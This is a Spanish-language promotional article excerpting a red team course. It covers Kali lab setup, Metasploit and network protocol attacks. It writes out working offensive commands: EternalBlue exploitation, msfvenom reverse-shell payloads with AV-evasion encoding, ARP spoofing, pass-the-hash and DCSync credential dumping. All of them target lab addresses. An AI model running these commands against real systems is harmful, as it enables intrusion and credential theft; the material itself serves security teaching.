Network Security Red Team explicado simplemente (con diagramas y código real)

Network Security Red Team: lo esencial en un artículo — código real, diagramas y pasos concretos, extractos de un curso de 39 lecciones.

Network Security Red Team explicado simplemente (con diagramas y código real)

Una guía que va al grano: Network Security Red Team diseccionada con diagramas, ejemplos concretos y comandos probados. Todo proviene de un curso estructurado de 11 capítulos — aquí tienes lo mejor.

tl;dr
  • Preparar su laboratorio Red Team
  • Fundamentos de seguridad de red
  • Reconocimiento y enumeración de red
  • Explotación y acceso inicial
  • Movimiento lateral y pivoting
~$ cat ./parcours.md # Network Security Red Team — 10 capítulos
01
Preparar su laboratorio Red Team
→ Presentación del curso y ética Red Team→ Instalar Kali Linux y la infraestructura de laboratorio virtual+ 1 más lecciones
02
Fundamentos de seguridad de red
→ Modelo OSI y TCP/IP desde el punto de vista del pentester→ Protocolos críticos para el Red Team+ 1 más lecciones
03
Reconocimiento y enumeración de red
→ OSINT y reconocimiento pasivo→ Nmap scanning avanzado (NSE, timing, evasion)+ 2 más lecciones
04
Explotación y acceso inicial
→ Metasploit Framework — módulos de exploits de red→ Metasploit Framework — módulos de exploits de red+ 2 más lecciones
05
Movimiento lateral y pivoting
→ Pivoting de red — SSH, Chisel, Ligolo-ng→ Pass-the-Hash, Pass-the-Ticket et Over-Pass-the-Hash+ 2 más lecciones
06
Escalada de privilegios
→ Escalada de privilegios Windows — UAC bypass, token impersonation, services→ PrivEsc Linux — SUID, sudo, capabilities, kernel+ 1 más lecciones
07
Persistencia y backdoors de red
→ Persistencia Windows — services, registre, tasks, WMI→ Persistencia Linux — SSH keys, cron, systemd, eBPF+ 1 más lecciones
08
Command and Control C2
→ Arquitectura C2 — Sliver, Havoc y frameworks modernos→ Beaconing, sleep, jitter y perfiles maleables+ 2 más lecciones
🏁
Proyecto final (+ 2 capítulos en camino)
→ Sales con un proyecto concreto y demostrable

Instalar Kali Linux y la infraestructura de laboratorio virtual

NOTE🎯 Objetivos pedagógicos
Al final de esta lección tendrás: instalado un hipervisor (VirtualBox o VMware), desplegado Kali Linux en una VM correctamente aislada, configurado una red host-only para el laboratorio y verificado el correcto funcionamiento de las herramientas Red Team básicas.

1. Requisitos de hardware

💾 Mínimo viable

⚡ Cómodo

🏆 Ideal

WARNING⚠️ Verificar la virtualización
En Windows: systeminfo | findstr /i "Hyper-V" debe mostrar « Yes » para Virtualization Enabled in Firmware. Si no, activa VT-x/AMD-V en la BIOS/UEFI.

2. Elegir su hipervisor

HipervisorPrecioSO anfitriónVentajasInconvenientes
VirtualBox 7.xGratis (GPL)Win, macOS, LinuxOpen-source, snapshots ilimitados, compatible con GOADRendimiento medio en Windows 11
VMware Workstation ProGratis (desde 2024)Win, LinuxMuy rápido, NAT eficienteMás complejo de scriptar
VMware Fusion ProGratis (macOS)macOS (Intel + Apple Silicon)Soporte ARM64 nativo (M1/M2/M3)Limitaciones en Apple Silicon (sin Win x86)
Hyper-VIncluido en Win ProWindows 10/11 ProRendimiento nativoSnapshots limitados, conflicto con VBox
Proxmox VEGratisBare metalGrado de producción, consola webRequiere servidor dedicado
TIP💡 Recomendación del curso
VirtualBox por su simplicidad y portabilidad (Mac/Win/Linux), o VMware Workstation Pro por su rendimiento. GOAD soporta ambos de forma nativa mediante Ansible.

3. Instalación de VirtualBox

En Windows

bash
# Descargar desde https://www.virtualbox.org/wiki/Downloads
# Versión 7.0.x (estable) o 7.1.x

# Instalación silenciosa mediante winget
winget install -e --id Oracle.VirtualBox

# Verificar la instalación
VBoxManage --version
# Debe mostrar: 7.0.x o 7.1.x

# Instalar el Extension Pack (USB 3.0, RDP, cifrado de disco)
# Descargar Oracle_VM_VirtualBox_Extension_Pack-7.x.vbox-extpack
VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-*.vbox-extpack

En macOS (Intel)

bash
# Mediante Homebrew
brew install --cask virtualbox
brew install --cask virtualbox-extension-pack

# Aprobar el kext en Preferencias del sistema > Seguridad
# (requiere reinicio)

En Linux (Ubuntu / Debian)

bash
# Añadir el repositorio de Oracle
wget -O- https://www.virtualbox.org/download/oracle_vbox_2016.asc | \
    sudo gpg --dearmor -o /usr/share/keyrings/oracle-virtualbox-2016.gpg

echo "deb [arch=amd64 signed-by=/usr/share/keyrings/oracle-virtualbox-2016.gpg] \
    https://download.virtualbox.org/virtualbox/debian $(lsb_release -cs) contrib" | \
    sudo tee /etc/apt/sources.list.d/virtualbox.list

sudo apt update
sudo apt install -y virtualbox-7.0

# Verificar
VBoxManage --version

4. Descargar Kali Linux

Kali Linux es la distribución basada en Debian dedicada a la seguridad ofensiva. Incluye de forma nativa más de 600 herramientas.

bash
# Página oficial: https://www.kali.org/get-kali/

# Opción 1: VM de VirtualBox precompilada (RECOMENDADA)
#   Archivo : kali-linux-2026.X-virtualbox-amd64.7z
#   Tamaño  : ~3 Go
#   Ventaja : VBox Guest Additions ya instalados

# Opción 2: ISO de instalación
#   Archivo : kali-linux-2026.X-installer-amd64.iso
#   Tamaño  : ~4 Go
#   Ventaja : control total sobre la instalación

# Opción 3: WSL (Windows Subsystem for Linux)
#   Ventaja : integración con Windows, ligero
#   Inconveniente: sin base de datos de Metasploit persistente fácil

# Verificación de integridad (¡SIEMPRE!)
sha256sum kali-linux-2026.*-virtualbox-amd64.7z
# Comparar con el valor publicado en kali.org
WARNING⚠️ Verificar siempre el SHA256
Algunos mirrors maliciosos ya han distribuido imágenes de Kali troyanizadas. Siempre verifica la huella SHA256 contra la publicada en el sitio oficial.

5. Importar la VM de Kali precompilada

bash
# 1. Descomprimir el archivo
7z x kali-linux-2026.X-virtualbox-amd64.7z
# ¿Falla 7zip? Instalar: sudo apt install p7zip-full

# 2. Importar en VirtualBox (opción A: GUI)
#    File > Import Appliance > seleccionar el .vbox

# 3. Importar por CLI (opción B: script)
VBoxManage import kali-linux-2026.X-virtualbox-amd64/kali-linux-2026.X-virtualbox-amd64.vbox \
  --vsys 0 --vmname "Kali-Red-Team" --cpus 4 --memory 6144

# 4. Listar las VMs
VBoxManage list vms
# Debe mostrar: "Kali-Red-Team" {uuid}

Ajustes recomendados antes del primer arranque

bash
VM="Kali-Red-Team"

# Asignar 4 CPU y 6 Go de RAM
VBoxManage modifyvm "$VM" --cpus 4 --memory 6144

# Activar el portapapeles compartido bidireccional
VBoxManage modifyvm "$VM" --clipboard-mode bidirectional --draganddrop bidirectional

# Activar la aceleración de vídeo
VBoxManage modifyvm "$VM" --vram 128 --graphicscontroller vmsvga --accelerate3d on

# Desactivar USB 1.0, activar USB 3.0
VBoxManage modifyvm "$VM" --usb on --usbehci on --usbxhci on

# Generar una dirección MAC fija (útil para snapshots de red)
VBoxManage modifyvm "$VM" --macaddress1 080027AA1010

Metasploit Framework — módulos de exploits de red

NOTE🎯 Objetivos pedagógicos
Al final de esta lección sabrás navegar por Metasploit Framework (msfconsole), seleccionar los módulos de exploit de red adecuados, elegir un payload adaptado, lanzar un handler y obtener una sesión Meterpreter en un objetivo vulnerable de tu laboratorio.

1. ¿Por qué Metasploit?

Metasploit Framework (MSF) es el framework de explotación más utilizado del mundo. Agrupa más de 2 300 exploits, 1 500 payloads, 700 módulos auxiliares y 600 post-explotaciones.

✅ Fortalezas de Metasploit

⚠️ Límites que debes conocer

TIP💡 ¿Cuándo usar MSF?
Excelente para: pentest pedagógico, CVEs de red clásicas (SMB, RPC, RCE web), pivoting básico. Menos adaptado para: operaciones Red Team furtivas modernas (prefiere Sliver, Mythic, Havoc).

2. Estructura de Metasploit

output
/usr/share/metasploit-framework/
├── modules/
│   ├── exploits/        # 2300+ exploits por SO / servicio
│   ├── payloads/        # 1500+ payloads
│   ├── auxiliary/       # Scanners, fuerza bruta, sniffers
│   ├── post/            # Módulos post-explotación
│   ├── encoders/        # Ofuscación de payload (poco eficaz contra AV)
│   ├── nops/            # NOP sleds
│   └── evasion/         # Módulos anti-AV
└── data/                # Wordlists, plantillas

Categorías de módulos

TipoDescripciónEjemplo
exploitCódigo que explota una vulnerabilidadexploit/windows/smb/ms17_010_eternalblue
auxiliaryScanners, fuzzers, fuerza bruta, DoSauxiliary/scanner/smb/smb_login
payloadCódigo enviado tras el exploit (shell, meterpreter)windows/x64/meterpreter/reverse_https
postAcciones tras sesión abiertapost/windows/gather/hashdump
encoderOfuscación del payloadx86/shikata_ga_nai
evasionBypass AV/Defenderwindows/windows_defender_exe

3. Primeros pasos en msfconsole

bash
# 1. Iniciar la base PostgreSQL (al arrancar)
sudo systemctl start postgresql
sudo msfdb init      # una sola vez

# 2. Lanzar msfconsole con base activada
msfconsole -q
msf6 > db_status
# [*] Connected to msf. Connection type: postgresql.

# 3. Crear un workspace por misión (CRUCIAL)
msf6 > workspace -a mission_lab
msf6 > workspace
# * mission_lab     <- el asterisco = workspace activo

# 4. Importar un escaneo Nmap
msf6 > db_import /tmp/enriched.xml
msf6 > hosts
msf6 > services -p 445

# 5. Búsqueda de un módulo
msf6 > search type:exploit eternalblue
msf6 > search name:bluekeep platform:windows
msf6 > search cve:2017-0144

# 6. Ayuda completa
msf6 > help
msf6 > info exploit/windows/smb/ms17_010_eternalblue

4. Anatomía de un exploit de Metasploit

output
# Secuencia estándar para LANZAR UN EXPLOIT
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > show options
msf6 exploit(...) > show targets
msf6 exploit(...) > show payloads

# Configurar las opciones OBLIGATORIAS (Required: yes)
msf6 exploit(...) > set RHOSTS 192.168.56.20
msf6 exploit(...) > set RPORT 445

# Elegir un payload adaptado
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf6 exploit(...) > set LHOST 192.168.56.10    # tu Kali
msf6 exploit(...) > set LPORT 8443

# Verificar las opciones
msf6 exploit(...) > show options

# (Opcional) verificar que el objetivo es vulnerable
msf6 exploit(...) > check
# [+] 192.168.56.20:445 - The target is vulnerable.

# ¡Lanzar!
msf6 exploit(...) > run
# [*] Started HTTPS reverse handler on https://192.168.56.10:8443
# [*] Sending stage (203846 bytes) to 192.168.56.20
# [*] Meterpreter session 1 opened ...
meterpreter >

5. Elegir el payload correcto

Convenciones de nomenclatura

output
windows/x64/meterpreter/reverse_https
^^^^^^^^^^^  ^^^^^^^^^^^^  ^^^^^^^^^^^^^
| SO+arquitectura | Tipo        | Transporte

windows  : Windows
x64      : arquitectura 64 bits
meterpreter : payload avanzado (vs simple «shell»)
reverse_https : conexión saliente cifrada hacia el atacante

Transportes principales

TransporteDirecciónFurtividadCuándo usarlo
reverse_tcpObjetivo → Atacante (puerto personalizado)Baja (tráfico sospechoso)Laboratorio, puerto saliente abierto
reverse_httpsObjetivo → Atacante (443 cifrado)Buena (TLS legítimo)Red empresarial estándar
reverse_httpObjetivo → Atacante (80)Media (HTTP en claro)Si HTTPS está bloqueado
bind_tcpAtacante → Objetivo (puerto personalizado)Baja (el objetivo escucha)NAT inverso, objetivo expuesto directamente
reverse_dnsTúnel vía DNSMuy buena (raro)Red ultra segmentada
reverse_winhttpsHTTPS vía WinHTTP (cert pinning)ExcelenteBypass proxy empresarial
TIP💡 Regla práctica
En laboratorio: reverse_tcp en 4444 (rápido).
En misión interna: reverse_https en 443 (pasa firewalls/proxies).
Si hay proxy empresarial: reverse_winhttps que respeta la configuración del sistema.

6. Multi/handler — recibir sesiones de forma independiente

El módulo multi/handler es un «receptor genérico» que escucha payloads generados por separado (con msfvenom).

output
msf6 > use multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set LHOST 192.168.56.10
msf6 exploit(multi/handler) > set LPORT 443
msf6 exploit(multi/handler) > set ExitOnSession false
msf6 exploit(multi/handler) > run -j        # -j = job en segundo plano

# Ver los jobs activos
msf6 > jobs

# Detener un job
msf6 > jobs -k 1

Generar un payload con msfvenom

bash
# EXE Windows
msfvenom -p windows/x64/meterpreter/reverse_https \
         LHOST=192.168.56.10 LPORT=443 \
         -f exe -o /tmp/payload.exe

# ELF Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp \
         LHOST=192.168.56.10 LPORT=4444 \
         -f elf -o /tmp/payload

# PowerShell one-liner
msfvenom -p windows/x64/meterpreter/reverse_https \
         LHOST=192.168.56.10 LPORT=443 \
         -f psh-cmd

# Inyección DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp \
         LHOST=192.168.56.10 LPORT=4444 \
         -f dll -o /tmp/payload.dll

# Shellcode en bruto (para loader personalizado)
msfvenom -p windows/x64/meterpreter/reverse_https \
         LHOST=192.168.56.10 LPORT=443 \
         -f raw -o /tmp/shellcode.bin

# Codificado (Shikata Ga Nai para bypass simple de AV)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
         LHOST=192.168.56.10 LPORT=4444 \
         -e x64/xor_dynamic -i 10 \
         -f exe -o /tmp/encoded.exe

Protocolos críticos para el Red Team

NOTE🎯 Objetivos pedagógicos
Al final de esta lección conocerás el funcionamiento y las debilidades explotables de los 7 protocolos fundamentales de una red empresarial Windows: ARP, DNS, SMB, LDAP, Kerberos, RDP y WinRM. Sabrás identificarlos en Wireshark y reconocer qué ataques permite cada uno.

1. ARP — el primer eslabón débil

ARP (Address Resolution Protocol) traduce IP a MAC en una LAN. Sin autenticación, es el objetivo número 1 en una red interna.

bash
# Ver la caché ARP local
ip neigh show
# o
arp -an

# Envenenar la caché de un objetivo (en laboratorio)
bettercap -iface eth1
> set arp.spoof.targets 192.168.56.20
> set arp.spoof.fullduplex true
> arp.spoof on
> net.sniff on

# Ver el tráfico interceptado en Wireshark
sudo wireshark -i eth1

Debilidades de ARP explotables

TIP💡 Mitigación
DAI (Dynamic ARP Inspection) en switches Cisco/HP, 802.1X, ARP estático para la puerta de enlace crítica, o simplemente cifrado extremo a extremo (TLS, VPN) que hace que la interceptación sea inofensiva.

2. DNS — el directorio que habla demasiado

DNS se utiliza no solo para la resolución de nombres, sino que también revela la topología de Active Directory mediante los registros SRV.

bash
# Encontrar el DC de un dominio mediante DNS
dig _ldap._tcp.dc._msdcs.lab.local SRV
dig _kerberos._tcp.lab.local SRV
dig _gc._tcp.lab.local SRV    # Global Catalog

# Encontrar todas las máquinas de un dominio (Zone Transfer si está permitido)
dig @192.168.56.10 lab.local AXFR

# DNS inverso en un /24
for ip in 192.168.56.{1..254}; do
    host $ip 2>/dev/null | grep -v NXDOMAIN
done

# DNS dinámico: registrar un nombre falso (si está permitido en laboratorio)
nsupdate -k /tmp/key.conf <<EOF
server 192.168.56.10
update add evil.lab.local 60 A 192.168.56.99
send
EOF

Ataques DNS Red Team

AtaqueDescripciónHerramientas
Zone transfer (AXFR)Si está permitido, volcado completo de la zonadig, dnsenum
Envenenamiento de caché DNSEnvenenar la caché de un resolvedordnspoof, mitm6
Enumeración de subdominios DNSDescubrir subdominios (recon externo)amass, subfinder, sublist3r
Túnel DNS C2Exfiltrar/controlar mediante consultas DNSiodine, dnscat2
Secuestro de registros NSTomar el control de un NS abandonadonsec3walker

3. SMB — el cuchillo suizo del Red Team

SMB (Server Message Block) = compartición de archivos, impresoras, ejecución remota, transporte para RPC. Es EL protocolo de ataque de Windows.

bash
# Enumeración: versión, SO, recursos compartidos, usuarios
crackmapexec smb 192.168.56.0/24
crackmapexec smb 192.168.56.10 -u jon.snow -p 'Winter2026!' --shares
crackmapexec smb 192.168.56.10 -u '' -p '' --users   # Sesión nula

# Listar recursos compartidos con smbclient
smbclient -L //192.168.56.10/ -U jon.snow%'Winter2026!'

# Conectarse a un recurso compartido
smbclient //192.168.56.10/Public -U jon.snow%'Winter2026!'
smb: \> ls
smb: \> get fichier_secret.txt

# Montar el recurso compartido
sudo mount -t cifs //192.168.56.10/Public /mnt/smb \
   -o username=jon.snow,password='Winter2026!',vers=3.0

Ataques SMB emblemáticos

🏭 Pre-auth (sin credenciales)

🔐 Post-auth (con credenciales)

bash
# Probar un host para EternalBlue
nmap --script smb-vuln-ms17-010 -p 445 192.168.56.0/24

# Explotación con Metasploit (solo en laboratorio)
msfconsole -q
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.56.20
msf6 > run

# Movimiento lateral PSExec con hash NT (Pass-the-Hash)
impacket-psexec -hashes :32ED87BDB5FDC5E9CBA88547376818D4 \
                administrator@192.168.56.10

# Volcado de hashes (DCSync, requiere derechos DA)
impacket-secretsdump lab.local/administrator:'Pass!'@192.168.56.10 -just-dc

4. LDAP — el directorio transparente

LDAP (puerto 389/636) expone todo el directorio AD: usuarios, grupos, GPO, OU, ACL. Generalmente basta con una autenticación de dominio para consultarlo.

bash
# Búsqueda de usuarios
ldapsearch -x -H ldap://192.168.56.10 \
   -D "jon.snow@lab.local" -w 'Winter2026!' \
   -b "DC=lab,DC=local" -s sub "(&(objectClass=user)(objectCategory=person))" \
   sAMAccountName description

# Búsqueda de cuentas Kerberoasteables (con SPN)
ldapsearch -x -H ldap://192.168.56.10 \
   -D "jon.snow@lab.local" -w 'Winter2026!' \
   -b "DC=lab,DC=local" "(&(samAccountType=805306368)(servicePrincipalName=*))" \
   sAMAccountName servicePrincipalName

# Búsqueda de cuentas AS-REP rosteables
ldapsearch -x -H ldap://192.168.56.10 \
   -D "jon.snow@lab.local" -w 'Winter2026!' \
   -b "DC=lab,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=4194304)"

# Búsqueda del esquema (todas las clases)
ldapsearch -x -H ldap://192.168.56.10 -b "CN=Schema,CN=Configuration,DC=lab,DC=local" cn

BloodHound: LDAP en grafo

bash
# Colección completa desde Kali
bloodhound-python -u jon.snow -p 'Winter2026!' -d lab.local \
                  -ns 192.168.56.10 -c All --zip

# Lanzar Neo4j y BloodHound GUI
sudo neo4j start
bloodhound
# Arrastrar y soltar el .zip en la interfaz
# Consulta: Shortest path to Domain Admins
# Consulta: Find Kerberoastable Users
va-plus-loin

Este artículo cubre los extractos más útiles — el curso completo Network Security Red Team (11 capítulos, 39 lecciones, ejercicios corregidos y proyecto final) te lleva hasta el final.

./acceder-al-curso-completo curso gratuito: Dominar Claude Code

FAQ

¿Cuánto tiempo se necesita para aprender Network Security Red Team?
Con una progresión estructurada (11 capítulos, 39 lecciones cortas y prácticas), se alcanza un nivel operativo en unas semanas a razón de 30 a 60 minutos al día. Lo importante es practicar cada concepto de inmediato.
¿Se necesitan requisitos previos?
Es mejor estar cómodo con los fundamentos del dominio: este contenido profundiza, con casos reales.
¿Por dónde empezar concretamente?
Reproduce los comandos de este artículo y luego sigue el curso completo Network Security Red Team: encadena las 39 lecciones en orden, con ejercicios y proyecto final.

📬 ¿Quieres recibir este tipo de guía cada semana? Suscríbete gratis — código real, cero palabrería.